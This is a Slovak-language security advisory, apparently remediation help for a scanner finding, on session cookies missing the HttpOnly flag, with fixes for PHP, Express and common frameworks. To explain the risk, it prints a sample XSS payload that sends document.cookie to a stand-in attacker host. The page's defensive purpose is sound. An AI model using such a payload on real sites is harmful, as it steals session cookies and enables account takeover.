Session cookie nemá HttpOnly flag
Čo to je
Cookie nastavená bez HttpOnly flagu je čitateľná z JavaScriptu cez document.cookie. Útočník, ktorému sa podarí dostať na stránku akýkoľvek kus JS (XSS), si ju potom prečíta a pošle si ju.
Prečo je to problém
Bez HttpOnly stačí útočníkovi jediný malý XSS (komentárové pole, profilové bio, search query) a má hotovo — ukradne session cookie a prihlási sa ako vy. Tu je obvyklý payload:
<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>S HttpOnly je document.cookie prázdny a útok zlyhá. XSS sám o sebe je stále problém, ale aspoň session zostane.
Ako to opraviť
HttpOnly je flag — nastavujete ho pri tvorbe cookie. Takmer všetky frameworky ho majú predvolene, len ho niekedy explicitne vypnete.
PHP
# php.ini
session.cookie_httponly = 1
# nebo přímo v kódu
setcookie('name', $value, [
'httponly' => true,
'secure' => true,
'samesite' => 'Lax',
]);Node.js (express)
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
});Laravel / Django / Rails
HttpOnly je predvolene zapnuté vo všetkých moderných session middleware. Ak váš nález ukazuje cookie bez neho, niekto to v configu vypol. Vráťte default.
Čo nesmie mať HttpOnly
Cookies, ktoré úmyselne číta JavaScript — typicky CSRF token (napr. Laravelovský XSRF-TOKEN). To je v poriadku, pretože útočník s XSS už CSRF token nepotrebuje.
Cookie obsahujúca session identifier alebo auth token ale musí byť HttpOnly vždy.
Overenie
DevTools → Application → Cookies → stĺpec HttpOnly. Pre session/auth cookies musí byť true.